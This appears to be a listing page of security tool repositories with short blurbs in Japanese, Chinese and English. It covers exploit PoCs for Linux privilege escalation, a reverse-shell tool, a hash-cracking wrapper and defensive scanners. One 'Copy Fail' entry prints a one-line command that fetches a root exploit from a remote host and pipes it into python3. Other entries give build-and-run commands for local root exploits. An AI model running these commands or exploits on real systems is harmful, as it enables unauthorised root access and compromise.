vuln-list

vuln-list 脆弱性情報を収集し、パース可能な形式で自動的に保存します ソース 更新頻度 毎日 更新スクリプト https://github.com/aquasecurity/vuln-list-update/...

commix

Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command injection vulnerabilities. You can visit the collection of screenshots demonstrating some of the features o...

autocrack

AUTOCRACK.py This python script is a Hashcat https://hashcat.net wrapper to help automate the cracking process. The script includes multiple functions to select a set of wordlists and rules, as well as the ability to run a bruteforce attack, with custom masks, before the wordlist/rule attacks...

raspberrypi-setup

Raspberry Pi セットアップ この Ansible プレイブックは、Raspberry Pi を迅速にセットアップするために設計されています。 すべてのモデルと互換性があります。Pi Zero W、Pi Zero 2W、Pi 4B など、複数のモデルで正常にテストされています。このプレイブックは、Debian および Debian ベースのディストリビューションで問題なく動作するはずです。 ロール タグを使用して、インストールするコンポーネントを選択します。各タグは、特定のパッケージと設定をインストールします。 ロールのインストール : タグ| 説明| 備考 ---|---|-...

mtr

WHAT IS MTR? mtr combines the functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool. As mtr starts, it investigates the network connection between the host mtr runs on and a user-specified destination host. It sends probes to the destination with successively...

LooneyPwner

LooneyPwner CVE-2023-4911 を標的としたエクスプロイトツール。Linux の各種ディストリビューションにおける glibc の脆弱性「Looney Tunables」を攻撃します。 LooneyPwner は、「Looney Tunables」と呼ばれる GNU C ライブラリ glibc のクリティカルなバッファオーバーフロー脆弱性を標的とした概念実証 PoC エクスプロイトツールです。この欠陥は正式には CVE-2023-4911 として追跡されており、様々な Linux...

openvpn-install

openvpn-install Debian、Ubuntu、Fedora、openSUSE、CentOS、Amazon Linux、Arch Linux、Oracle Linux、Rocky Linux、AlmaLinux 向けの OpenVPN インストーラーです。 このスクリプトを使えば、数秒で独自の安全な VPN サーバーをセットアップして管理できます。 これは何ですか？ このスクリプトは、VPS や専用サーバー、あるいは自宅のコンピューターなど、自分のサーバー上で実行することを想定しています。...

social-analyzer

Social Analyzer - API, CLI, and Web App for analyzing & finding a person's profile across +1000 social media \ websites. It includes different analysis and detection modules, and you can choose which modules to use during the investigation process. The detection modules utilize a rating mechanism...

CVE-2018-19788

Proof of Concept for the CVE-2018-19788 CVE-2018-19788 として追跡されている脆弱性を確認するAnsibleロールです。この脆弱性は、Ubuntu、Red Hat、CentOSなど、多くのLinuxディストリビューションにプリインストールされている PolicyKit バージョン 0.115 に影響を与えます。 必要条件 最低限必要なansibleバージョン 2.4.0 Role Variables root@kitploit: The user name to be provisioned to execute the exploit...

CVE-2021-3560_PoC

CVE-2021-3560PoC polkit エクスプロイトスクリプト polkit サービスを使用して root に昇格するための自動スクリプト 必要条件 SSH サーバー GNOME 経由での認証ポップアップを回避するため 脆弱な Linux ディストリビューション: ディストリビューション| 脆弱性の有無 ---|--- RHEL 7| いいえ RHEL 8| はい Fedora 20 またはそれ以前| いいえ Fedora 21 またはそれ以降| はい Debian 10 “buster”| いいえ Debian testing “bullseye”| はい Ubuntu...

CVE-2018-14665

CVE-2018-14665 0x00 概要 インドのセキュリティ研究者Narendra Shinde氏は、X.Org Serverソフトウェアパッケージにおいて、一般ユーザーがroot権限を取得できる重大な脆弱性（CVE-2018-14665）を発見しました。この脆弱性は、OpenBSD、Debian、Ubuntu、CentOS、Red Hat、Fedoraといった主要なLinuxディストリビューションに影響を及ぼします。 Xorg Xプロジェクトは、X Window...

rustcat

rustcat - The modern port listener and reverse shell What is Rustcat Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible. Modes Listen mode listen; Reverse shell mode connect; Features Command history & Tab completion...

openclarity

OpenClarity is an open source tool for agentless detection and management of Virtual Machine Software Bill Of Materials SBOM and security threats such as vulnerabilities, exploits, malware, rootkits, misconfigurations and leaked secrets. Join OpenClarity's Slack channel to hear about the latest...

CVE-2026-31431-copy-fail

Copy Fail 大多数 Linux LPE 需要竞态窗口或内核特定偏移。 Copy Fail 是一个直线逻辑缺陷——两者都不需要。 同一个 732 字节的 Python 脚本即可让自 2017 年以来发布的每个 Linux 发行版获得 root 权限。 快速运行： curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user groups=1002user...

copy-fail-CVE-2026-31431

复制失败：Linux 发行版 参考：https://xint.io/blog/copy-fail-linux-distributionsthe-demo-5...

defender

🛡️ Linux-Defender.sh 📝 目次 📌 概要 🚀 特徴 🐧 対応ディストリビューション 📦 インストールされるツール ⚙️ インストール ソースからのビルド（一般） 📦 パッケージインストール Debian（.deb）パッケージ Arch Linux パッケージ 🧰 ディフェンダーの実行 🧾 ライセンス 🙋‍♂️ 作者 ☕ サポートと貢献 📌 概要 Linux Defender は、Linux システムのセキュリティ体制を大幅に強化するために設計された、堅牢で使いやすい Bash スクリプトです。セキュリティ専門家、愛好家、システム管理者を対象に、人気の高いさまざまな...

CVE-2024-3094-Vulnerabity-Checker

CVE-2024-3094-Vulnerabity-Checker XZ UtilsのバージョンがCVE-2024-3094に対して脆弱でないことを確認します。 root@kitploit: ┌──lypd0㉿kali- └─$ ./CVE-2024-3094checker.sh / / \ / \ \ /. | / \ / \ /. | \ / / / / / \ \ / \ / / / / / You are NOT vulnerable to CVE-2024-3094. 背景...

CopyFail

ローカル権限昇格 / コンテナエスケープ CVE-2026-31431 使用方法： go build -ldflags="-s -w" -o CopyFail CVE-2026-31431.go ./CopyFail 影響を受けるバージョン： Ubuntu 18.04, 20.04, 22.04, 24.04 Debian 11, 12, 13 RHEL 8, 9, 10 CentOS 8 Rocky Linux 8, 9, 10 AlmaLinux 8, 9, 10 Fedora 33-42 Alibaba Cloud Linux 2, 3, 4 SUSE 12, 15, 16...

Fragnesia

ローカル権限昇格 CVE-2026-46300 使用方法： CGOENABLED=0 go build -ldflags="-s -w" -o fragnesia . ./fragnesia 影響を受けるバージョン: Ubuntu 16.04 LTS RHEL 8,9 Rocky Linux 8,9,10 CentOS Stream 8,9,10 Oracle Linux 8,9 openEuler 20.03-LTS-SP4 22.03-LTS-SP3 22.03-LTS-SP4 24.03-LTS 24.03-LTS-SP1 24.03-LTS-SP2 24.03-LTS-SP3...

vuln-list-backup

vuln-list 自动收集漏洞信息并以可解析格式保存 来源 目录| 操作系统| 来源| URL ---|---|---|--- alma/| AlmaLinux| AlmaLinux 勘误| https://errata.almalinux.org/8/errata.json alpine/| Alpine Linux| Alpine 安全数据库| https://secdb.alpinelinux.org/ amazon/1| Amazon Linux| Amazon Linux 安全中心| https://alas.aws.amazon.com/ amazon/2| Amazon...